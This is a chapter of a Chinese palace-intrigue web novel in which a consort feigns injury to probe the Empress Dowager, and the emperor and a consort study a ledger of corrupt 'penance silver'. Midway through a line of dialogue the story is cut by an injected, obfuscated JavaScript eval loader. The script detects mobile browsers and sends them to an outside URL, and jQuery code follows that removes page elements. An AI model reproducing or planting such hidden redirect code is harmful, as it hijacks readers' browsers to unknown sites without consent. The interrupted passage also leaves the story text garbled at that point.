12. 第 12 章
作品:《开摆了怎么白妃还在倒霉》 众人许久未见白延,瞧着新鲜,皆关心白家小哥起居功课去,将白竺朵这个病人冷在一边。正聊着家长里短,忽见一小内官捧着张单子进殿来,身后跟了几个端了檀木锦盒的小宫女,在外头问诸位娘娘安。白竺朵放下了正送到嘴边的樱桃煎,只隔着垂珠帷帐细细打量,虽看不真切,但看穿着大概能猜到是太后宫里的人,心下不由暗暗思忖。
只听那小内侍恭恭敬敬地跪下同众人见礼:“小人昌哥,承太后娘娘之命来问娘子伤势。”又多加了句,“陛下前日还多番见罪监事大人呢,想是极难愈之伤了。”
意料之中。
其实坠台折腿的隔日,她便已清醒,却要苏台带着宫里信得过的两个小宫女封锁她醒来的消息,为的是利用自己遭难一事,试试太后与皇帝之间是否有能撬动的余地。
多昏迷一日,姜临霁能拿到的筹码就多一条,新皇一派的寒门官员对旧世家也会多一重不满。
她赌姜临霁会为自己受伤一事借题发挥,向许家发难,也赌太后不会容许姜临霁严查许继宗所涉诸案,赌姜临霁会以为她也站在太后一边,赌太后会等不及秘密处决许继宗,并把黑锅扣在自己和姜临霁身上。
世家尚未失权,此时却要让皇帝成为众矢之的,手段不可谓不狠。
一放出醒来的消息,太后果然派人来探口风,还要引她将伤情往重了说。
但她没想明白姜临霁为什么在延英殿就有当堂杀许继宗之意,明明将少府涉事官员一并捉拿下狱细查即可,按大卫律法,此事甚至可归因于飞鸾台“年久失修”,而使负责宫内监作的少府将作二局免去责罚。故而苏台来报此事时,白竺朵着实吓了一跳。
许是听到了许氏横行霸道之举,他气坏了吧。果然还是当年在睢阳城见到的那个年轻气盛的刚正公子。
不过,冲冠为红颜在堂上见血的昏君,一时失足却要降下重罪的祸国妖妃,恰恰是太后所乐见的儿子与儿媳。倘若事情发展到了将近不可挽回的地步,她再出面做好人好事,替许家求下恩典,便能坐收一门肝脑涂地之忠臣了。
只不过是她自己的忠臣,而非大卫朝的忠臣——这位历经三朝的娘娘要的,只是捧一颗赤胆任她驱驰的工具罢了。
一如她从前对赤风军那般。
明明已经五体投地俯首称臣,为何还要紧紧相逼,又把白家拉回旋涡中去?白竺朵只觉一口气郁于胸口久久难纾,难道当年那位会拉着她的手教她写字,抚摸她的头发说“见你如同见你母亲年少”的长辈,原来从头到尾都在想如何利用自己?
她直起身,一手支着自己靠在床幔侧,回道:“本宫腿上还有伤不便起身,公公莫见怪。本就无大碍,休息几日便好了。”说着朝苏台使了个眼色。
那内官又说:“太后娘娘交代小人,说白妃娘娘身子弱不似旁人,须得将养一番呢,还赏娘娘几支高丽进贡的山参。”身后宫女闻言便一并将手中锦盒呈给苏台。
苏台喊几位二等宫女留月等人接下,转身从里间妆奁下抓起半把金叶子,又取了个素绸的小囊,妥帖包好,说着“多谢太后娘娘与公公照拂,太后娘娘实在无需忧虑,我家娘子无甚大碍”,边将小囊塞进昌哥手中。
昌哥喜不自胜,又问了些朔柳阁中用度相关的话,白竺朵见他刻意逗留,猜到他用意,心下有些烦躁。果然那小内官话锋一转,才引入正题,说太后请白家小哥儿到崇徽宫面见太后。
果然在这等着呢。白竺朵心中一嗤,这姜临霁日常的行踪与一举一动早被太后摸得一干二净,这厢才召了白延进宫,她便迫不及待出手了。
被郑贵妃拉着的白延不解:“阿姐,我……”
一面给他一个叫他安心的眼神,白竺朵一面开口问道:“昌公公,阿延粗鄙,恐冲撞了娘娘,不知娘娘有何要事?”
“今日上元,太后娘娘请了兵部杨大人家的两位小公子进宫,听说白家四郎也在此,特意命小人来请四公子一同赏灯,人多热闹些。”
白竺朵没再推辞,摆摆手让宫人带白延随昌哥一同去,只是多嘱咐了一句:“少说话,少提小娘的事。”见白延点了点头,这才放下心来。
郑贵妃伸长了脖子斜睨一眼昌公公走出殿门的背影,似有若无地出了一鼻子气,见白延一干人等出了殿才起身,到正收拾东西的苏台身后看刚赏下的山参。
“成色也一般嘛,都不舍得拿点贵的。”郑贵妃鄙夷道,“碎燕窝新人参没意思,我那有好的,明日让宝珠取了给你。”
“小点声。”陈婕妤拍了拍郑贵妃的手,“知道你私库充盈,仔细让有心人夺了去。”
“还是表妹好。”白竺朵一眼发现了陈婕妤的小动作,却不以她的担忧为意,郑濯心看不惯太后在她这也不是什么秘密,“太后娘娘心意也到了,比起陛下什么都不给,可好太多了。”
“你呀,又说这劳什子鬼话,若是身子摔坏了,给再多好东西也补不回来。”陈婕妤道。
“这老妖婆也是闲的,我和阿延话都没说完呢,就把人拎走了。”郑贵妃转头瞧了一眼白竺朵丢在床几上的那盘樱桃煎,食指大动,整盘端走细细品味,无视了白竺朵投来的凶狠眼神,“说起来,今晨路过延英殿,见许婕妤还在那跪着,十几日了,日日跪,也不嫌累得慌。”
“什么?”白竺朵故作不知之态,其实苏台日日都向她报过此事,“是为许家告解?”
“是啊,你休养这几日,陛下问罪许少府,她就一直跪着求情。”
“不像她平日的作风。”一直闭口不言的萧美人终于说出今日来朔柳阁以后的第一句话,“我以为她会直接冲进延英殿把住陛下的脖子求情的,再不济也会到处阴阳怪气,除非就像话本上说的……”
“她平日竟有大将之风。”白竺朵见樱桃煎是无望了,只好让苏台倒糖水喝,“不过掐人脖子,用求情一词不太合适吧,得叫造反。”
说完紧了紧身上的冰绡披帛。
*
“官家,早先说的账本,臣妾从李氏那取来了。”
此刻本应反目成仇的皇帝与婕妤正好整以暇地分享自己的战利品。许婕妤脸上丝毫没有早晨跪在延英殿前的悲戚,得意地拍了拍手中的账簿。
谋士五人组今日只出席了三位,苏才人和孙才人忙着到太液池放花灯了。玉甯率先接过账本翻开看了两页,便道:“陛下,这比话本子还精彩。”
柳才人也凑上前,双目瞪得浑圆也看不明白:“这上面写的什么?”
“议罪银,一项罪一千两。晋阳守禄三千,一年欠下五千两无力偿还。”姜临霁心下有数,无需翻看账本便知道其上所写,“朕越勤政越穷,多亏了你这位在御史台的叔叔,可给朕攒了好大一份家底。”
昭宣帝在位时大敛横财,针对各州郡长官的议罪银是他各项敛财举措中油水最丰厚的,由御史台中丞许继知上奏提出。各州郡官每年需向朝廷上报年度政绩与过失,有得者予以褒奖,有过着比照事先拟定的各项罪名,依条数予以惩罚,若交得出议罪银便可免去皮肉之苦或免于贬谪。
这议罪银收上来,也并不完全进国库,而是大部分落到了许家人的口袋里。账本上写,州府长官一条罪值一千两,送到御史台的银子可能只剩下三百。皇帝越是多关心地方上的政务,州郡官府吃的罪名就越多,收上来的议罪银也越多,可国库的银子却没见添过。
其余银子去哪了呢?太难猜了。
“我爹心不毒,但人却愚蠢至极。”许婕妤摇摇头。
“父皇心毒,人也愚蠢至极。”姜临霁也摇了摇头。
“官家您有所不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296988|182447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知,我们家,唉。”许婕妤叹气道,“我娘很早就没了,这些年家里的事都由父亲的续弦和三叔三婶经手,我爹什么也不愿管,连府衙中有些事都要问过三叔才办。我爹这人唯一的优点是听劝,但却从来不听臣妾的劝,只听得进继母和三叔的。”
玉甯下意识轻笑了两声,许婕妤劝人,难怪人听不进去呢。
“以我爹的脑子绝对想不出这法子,他行事呆板,却老觉得世界上最聪明的人是他三弟,三叔说什么做什么他都支持,臣妾和臣妾的哥哥们怎么说他也不从,时不时还要打我们。”
“愚人纵火,可比常人可怕多了。”
“三叔奸诈狡猾,就是他来叫臣妾继母回老家办质银寺给交税的百姓换银子的,他们就连一点油水也不愿放过,而父亲却奉之为上策。”
“臣妾劝过几次,借势鱼肉百姓,这可是要砍头的重罪,他们却无一人放在心上。”想起从前的事,许婕妤身上的锋芒都弱了些,“气得臣妾砸了父母亲的正堂,他们就把我丢回豫章老家思过,臣妾气不过,回老家把祠堂也砸了。”
她孤身一人回到了豫章,这个生养许氏先祖的故乡。江左灵山秀水,却孕育出面目狰狞的一群恶狗贪狼。
这是她生来第一次离京,一路上她见过富庶大县,也到过穷乡僻壤,观人间百态。遇饥民携嶙峋小童向她乞讨,她喊婢女拿食物时手指滑过身上所着丝罗锦裙,连接缝处都细腻光滑浑然一体,这样的罗裙在京中一条要价八十两,足够这一家人吃上许多许多年。
回到豫章郡落脚不出几日,她在鹅湖书院结识了温晗,那位如今在朝堂上平步青云的温尚书,当年也只是流落江左,困顿不得志的闲散文人。
一时竟有些恍然,细想起来已不知过了多少年月。
“他们也防着我。若非臣妾这几日假装为父求情,让他们以为妾可用,否则臣妾的人也骗不到这账本。”
气刚,手腕硬,能屈能伸,还会使计探囊取物,大义灭亲,此人若能入朝必掀得起一波风浪。玉甯满心崇拜地望向许婕妤。
姜临霁沉吟片刻,又道:“光有此物还不至让许继知认罪,银子也说不准去了何处,即便真流入了许家,他所做保不齐都是母后授意的,先按兵不动。”
不然,太后身在宫中,哪来的钱拉拢赤风军?他在南疆安插的线人来报,户部尚未拿出供各军营建军镇的银子,诸将皆收到了操练军民的旨意,却苦于银钱短缺尚未执行,只有赤风军陆陆续续地按照京中指令开始征召当地百姓。
线人又说,赤风军与京中的联络,绝不止一线。那么赤风军的银子从何而来?已经显而易见了。
只不过苦于没有证据,他此时也无力向太后发难。
二十几年只会听话的懵懂孩童和傀儡少君,他已经做够了。
即位以来两三载,他越来越明白从前大哥身在宫中究竟是何处境,又为他挡下了多少阴风冷箭。原来生在帝王之家,连生养自己的亲生母亲都不可全信。
“明日开始在宫中休息,不必再来延英殿了。”姜临霁吩咐道。
“那李氏那边呢?”许婕妤问道:“账本内容繁多,臣妾只拿了原件出来,若要保险,还是让人誊抄一份再把原件放回。但这期间若是被人察觉,恐怕咱们之前的努力就功亏一篑了。”
“朕会赦免你父亲,帮你进一步得他们信任。”姜临霁脸色稍郁,“方才去找白妃,连她也觉得应该先放过许少府,一会朕便下旨了。”
“不是,官家,”许婕妤简直不知说些什么才好了,“臣妾跪了十几天官家都不松口,太后娘娘几番劝说您也不听,白妃娘娘说两句您就放过了?”
姜临霁不紧不慢地回答她:“朕是经过深思熟虑才下如此决断的。”
玉甯和柳才人亦相视一笑。